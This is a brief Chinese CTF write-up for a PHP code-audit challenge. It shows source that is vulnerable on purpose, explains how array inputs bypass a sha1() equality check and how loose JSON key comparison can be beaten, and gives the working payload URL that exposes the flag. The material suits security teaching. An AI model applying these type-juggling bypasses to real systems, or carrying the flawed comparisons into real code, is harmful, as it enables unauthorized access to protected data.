前端攻城狮跑路了,不过PHP是最好的语言 ??

还是直接审计代码吧

<?php 
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }    
        else die('还差一点就拿到flag了');
    }

?>

定义了a,b,首先需要比较get到的a,b的sha1()散列加密,若值和类型都相等,则$good = true,这里可以使用数组绕过,对于类似sha1(),md5()等加密函数,当检测到值为数组时,都会处理为null;
第二个if语句中又检查是否get有key,isset()函数检查是否设置有需要的参数,然后再将key值json_decode()解码,判断key变量中key键的值是否和key变量的值一样 。

PHP json_decode() 函数用于对 JSON 格式的字符串进行解码,并转换为 PHP 变量。
由于php属于弱类型语言,所以数字和字符串在进行比较时,字符串会转成数字,如果字符串的第一位不是数字,则字符串被转成0

因此 payload:

https://1031-56beef32-b743-4f08-866d-f3b60acf0c49.do-not-trust.hacking.run/?a[]=1&b[]=1&key={"key":0}

这就是世界上最好的语言??以后改学php吧还是 呜呼

更多推荐

php是世界上最好的语言 ctf+代码审计+加密函数绕过